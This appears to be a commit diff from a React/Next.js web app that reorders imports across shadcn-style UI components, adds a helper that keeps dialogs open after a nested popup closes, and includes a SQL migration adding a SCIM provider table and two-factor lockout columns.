function AlertDialog({
...props

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client";
import * as React from "react";
import { Avatar as AvatarPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,8 +1,7 @@
import * as React from "react";
import { Slot } from "radix-ui";
import { cn } from "@/lib/utils";
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
import { Slot } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
return (

View File

@@ -1,4 +1,4 @@
import * as React from "react";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
import * as React from "react";
import * as RechartsPrimitive from "recharts";
import type { TooltipValueType } from "recharts";
import * as RechartsPrimitive from "recharts";
import { cn } from "@/lib/utils";

View File

@@ -1,10 +1,9 @@
"use client";
import * as React from "react";
import { Checkbox as CheckboxPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import { CheckIcon } from "lucide-react";
import { Checkbox as CheckboxPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Checkbox({
className,

View File

@@ -1,9 +1,8 @@
"use client";
import * as React from "react";
import { Command as CommandPrimitive } from "cmdk";
import { cn } from "@/lib/utils";
import { CheckIcon, SearchIcon } from "lucide-react";
import type * as React from "react";
import {
Dialog,
DialogContent,
@@ -12,7 +11,7 @@ import {
DialogTitle,
} from "@/components/ui/dialog";
import { InputGroup, InputGroupAddon } from "@/components/ui/input-group";
import { SearchIcon, CheckIcon } from "lucide-react";
import { cn } from "@/lib/utils";
function Command({
className,
@@ -45,10 +44,6 @@ function CommandDialog({
}) {
return (
<Dialog {...props}>
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<DialogContent
className={cn(
"top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0",
@@ -56,7 +51,11 @@ function CommandDialog({
)}
showCloseButton={showCloseButton}
>
{children}
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<Command>{children}</Command>
</DialogContent>
</Dialog>
);
@@ -68,7 +67,7 @@ function CommandInput({
}: React.ComponentProps<typeof CommandPrimitive.Input>) {
return (
<div data-slot="command-input-wrapper" className="p-1 pb-0">
<InputGroup className="h-11! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2!">
<InputGroup className="h-11! in-data-[slot=dialog-content]:h-12! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2! in-data-[slot=dialog-content]:*:[svg]:size-5">
<CommandPrimitive.Input
data-slot="command-input"
className={cn(
@@ -122,7 +121,7 @@ function CommandGroup({
<CommandPrimitive.Group
data-slot="command-group"
className={cn(
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground",
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground in-data-[slot=dialog-content]:**:[[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0",
className,
)}
{...props}
@@ -152,13 +151,15 @@ function CommandItem({
<CommandPrimitive.Item
data-slot="command-item"
className={cn(
"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 data-selected:*:[svg]:text-foreground",
"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
className,
)}
{...props}
>
{children}
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
{"data-checked" in props && (
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
</CommandPrimitive.Item>
);
}

View File

@@ -1,10 +1,9 @@
"use client";
import * as React from "react";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronRightIcon, CheckIcon } from "lucide-react";
function ContextMenu({
...props

View File

@@ -1,9 +1,9 @@
import * as React from "react";
import { Dialog as DialogPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
import { Dialog as DialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { wasNestedPopupJustClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function Dialog({
...props
@@ -49,6 +49,8 @@ function DialogContent({
className,
children,
showCloseButton = true,
onPointerDownOutside,
onEscapeKeyDown,
...props
}: React.ComponentProps<typeof DialogPrimitive.Content> & {
showCloseButton?: boolean;
@@ -62,6 +64,20 @@ function DialogContent({
"fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95",
className,
)}
onPointerDownOutside={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onPointerDownOutside?.(event);
}}
onEscapeKeyDown={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onEscapeKeyDown?.(event);
}}
{...props}
>
{children}

View File

@@ -1,13 +1,25 @@
import * as React from "react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function DropdownMenu({
onOpenChange,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
return (
<DropdownMenuPrimitive.Root
data-slot="dropdown-menu"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
}
function DropdownMenuPortal({

View File

@@ -1,9 +1,9 @@
"use client";
import { Accordion as AccordionPrimitive } from "radix-ui";
// import { ScrollArea } from "@acme/components/ui/scroll-area";
// import { cn } from "@acme/components/lib/utils";
import { ChevronRight, type LucideIcon } from "lucide-react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import React from "react";
import useResizeObserver from "use-resize-observer";
import { cn } from "@/lib/utils";

View File

@@ -1,4 +1,4 @@
import { Label as LabelPrimitive, Slot } from "radix-ui";
import { type Label as LabelPrimitive, Slot } from "radix-ui";
import * as React from "react";
import {
Controller,

View File

@@ -1,12 +1,11 @@
"use client";
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import { cn } from "@/lib/utils";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Textarea } from "@/components/ui/textarea";
import { cn } from "@/lib/utils";
function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
return (

View File

@@ -1,8 +1,7 @@
import * as React from "react";
import { OTPInput, OTPInputContext } from "input-otp";
import { cn } from "@/lib/utils";
import { MinusIcon } from "lucide-react";
import * as React from "react";
import { cn } from "@/lib/utils";
function InputOTP({
className,

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Label as LabelPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -0,0 +1,9 @@
let lastNestedPopupCloseAt = 0;
export function markNestedPopupClosed() {
lastNestedPopupCloseAt = performance.now();
}
export function wasNestedPopupJustClosed() {
return performance.now() - lastNestedPopupCloseAt < 100;
}

View File

@@ -1,14 +1,26 @@
"use client";
import * as React from "react";
import { Popover as PopoverPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function Popover({
onOpenChange,
...props
}: React.ComponentProps<typeof PopoverPrimitive.Root>) {
return <PopoverPrimitive.Root data-slot="popover" {...props} />;
return (
<PopoverPrimitive.Root
data-slot="popover"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
}
function PopoverTrigger({

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Progress as ProgressPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client";
import * as React from "react";
import { RadioGroup as RadioGroupPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { ScrollArea as ScrollAreaPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,8 +1,7 @@
import * as React from "react";
import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from "lucide-react";
import { Select as SelectPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronDownIcon, CheckIcon, ChevronUpIcon } from "lucide-react";
function Select({
...props
@@ -58,7 +57,7 @@ function SelectTrigger({
function SelectContent({
className,
children,
position = "item-aligned",
position = "popper",
align = "center",
...props
}: React.ComponentProps<typeof SelectPrimitive.Content>) {
@@ -81,7 +80,7 @@ function SelectContent({
<SelectPrimitive.Viewport
data-position={position}
className={cn(
"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
position === "popper" && "",
)}
>
@@ -115,7 +114,7 @@ function SelectItem({
<SelectPrimitive.Item
data-slot="select-item"
className={cn(
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
className,
)}
{...props}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Separator as SeparatorPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,9 +1,8 @@
import * as React from "react";
import { Dialog as SheetPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
import { Dialog as SheetPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) {
return <SheetPrimitive.Root data-slot="sheet" {...props} />;

View File

@@ -368,7 +368,7 @@ function SidebarContent({ className, ...props }: React.ComponentProps<"div">) {
data-slot="sidebar-content"
data-sidebar="content"
className={cn(
"no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden",
"no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto overflow-x-hidden",
className,
)}
{...props}

View File

@@ -1,14 +1,14 @@
"use client";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
import {
CircleCheckIcon,
InfoIcon,
TriangleAlertIcon,
OctagonXIcon,
Loader2Icon,
OctagonXIcon,
TriangleAlertIcon,
} from "lucide-react";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
const Toaster = ({ ...props }: ToasterProps) => {
const { theme = "system" } = useTheme();

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Switch as SwitchPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
"use client";
import * as React from "react";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import { Tabs as TabsPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,4 +1,4 @@
import * as React from "react";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,8 +1,8 @@
"use client";
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import { Toggle as TogglePrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -0,0 +1,13 @@
CREATE TABLE "scim_provider" (
"id" text PRIMARY KEY NOT NULL,
"provider_id" text NOT NULL,
"scim_token" text NOT NULL,
"organization_id" text,
CONSTRAINT "scim_provider_provider_id_unique" UNIQUE("provider_id"),
CONSTRAINT "scim_provider_scim_token_unique" UNIQUE("scim_token")
);
--> statement-breakpoint
ALTER TABLE "two_factor" ADD COLUMN "verified" boolean DEFAULT true NOT NULL;--> statement-breakpoint
ALTER TABLE "two_factor" ADD COLUMN "failed_verification_count" integer DEFAULT 0 NOT NULL;--> statement-breakpoint
ALTER TABLE "two_factor" ADD COLUMN "locked_until" timestamp;--> statement-breakpoint
ALTER TABLE "scim_provider" ADD CONSTRAINT "scim_provider_organization_id_organization_id_fk" FOREIGN KEY ("organization_id") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;

Some files were not shown because too many files have changed in this diff Show More